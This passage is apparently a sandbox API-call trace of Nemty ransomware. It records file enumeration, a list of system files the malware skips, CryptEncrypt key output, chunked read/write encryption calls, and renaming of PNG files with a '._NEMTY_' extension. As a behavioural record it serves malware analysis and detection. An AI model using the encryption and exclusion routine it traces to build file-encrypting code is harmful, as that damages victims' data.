lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.150] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.155] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.156] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.156] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.161] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.161] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.161] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0073.162] CloseHandle (hObject=0xffffffff) returned 0 [0073.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0073.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0073.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0073.162] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0073.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0073.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0073.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0073.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0073.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0073.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0073.162] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonicon.png._nemty_kgobjgd_")) returned 0 [0073.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0073.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0073.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0073.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0073.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0073.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0073.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0073.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0073.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0073.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.162] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="TitleButtonSubpicture.png", cAlternateFileName="")) returned 1 [0073.162] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2=".") returned 1 [0073.162] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="..") returned 1 [0073.162] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="...") returned 1 [0073.162] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="windows") returned -1 [0073.162] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0073.162] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="rsa") returned 1 [0073.163] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="NTDETECT.COM") returned 1 [0073.163] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="ntldr") returned 1 [0073.163] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0073.163] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="IO.SYS") returned 1 [0073.163] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="boot.ini") returned 1 [0073.163] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="boot.ini") returned 1 [0073.163] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0073.164] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="ntuser.dat") returned 1 [0073.164] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="desktop.ini") returned 1 [0073.164] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0073.164] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="RECYCLER") returned 1 [0073.164] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0073.164] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="bootmgr") returned 1 [0073.164] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="programdata") returned 1 [0073.164] lstrcmpiW (lpString1="TitleButtonSubpicture.png", lpString2="appdata") returned 1 [0073.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0073.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TitleButtonSubpicture.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0073.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.165] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TitleButtonSubpicture.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TitleButtonSubpicture.png", lpUsedDefaultChar=0x0) returned 25 [0073.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0073.165] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TitleButtonSubpicture.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0073.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.165] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TitleButtonSubpicture.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TitleButtonSubpicture.png", lpUsedDefaultChar=0x0) returned 25 [0073.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0073.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0073.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0073.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0073.165] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TitleButtonSubpicture.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0073.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0073.165] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TitleButtonSubpicture.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TitleButtonSubpicture.png", lpUsedDefaultChar=0x0) returned 25 [0073.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0073.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0073.165] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TitleButtonSubpicture.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0073.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0073.165] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TitleButtonSubpicture.png", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TitleButtonSubpicture.png", lpUsedDefaultChar=0x0) returned 25 [0073.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0073.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0073.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0073.165] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0073.165] Sleep (dwMilliseconds=0x5) [0073.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdf4396d0, dwHighDateTime=0x1d561e7)) [0073.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdf4396d0, dwHighDateTime=0x1d561e7)) [0073.177] GetLastError () returned 0x5 [0073.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0073.177] GetLastError () returned 0x5 [0073.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0073.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0073.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0073.178] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0073.178] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0073.178] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0073.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0073.178] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="9RJCE6kaK90dXXmdScEnj7pGt2eemLRNEmfBZIjF7GLZtLuNcpIESGN6BTr4wDNf\r\nA4zah3GKRQ4KULFyZ9j4EIQWujIfx+hyFULmh6LmG6X29QBc3n3My0UkD4sLXr+z\r\nLwso2PCnPMhMQSzWvLpT6VD0R3gvLmvdp/yxL5phKJkzJWjU6tSKAknsR2jgn7Kx\r\n8cw05UHjyfN4zN+0Hn8S5qOSC92TtkvYOsNTPllq4EfOUX2IAeu9shMVu+ocoEwR\r\nGrOJAFp2xfrfnnnfesbzK4KKx8U/r4XVkDgku9XGTUbJBW3fOIoHQArGjttPZOGK\r\n6QRsWind4Iksw48K/9Y4uw==\r\n", pcchString=0x653e91c) returned 1 [0073.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0073.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0073.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0073.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0073.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0073.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0073.178] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\titlebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0073.178] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0073.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0073.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.178] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.188] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.188] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.197] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.197] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.206] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.206] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.206] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.216] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.216] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.225] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.225] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.225] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.225] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.234] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.234] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.247] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.247] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.257] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.257] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.266] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.267] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.276] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.276] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.282] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.282] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.282] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0073.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.288] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0073.288] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0073.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0073.288] CloseHandle 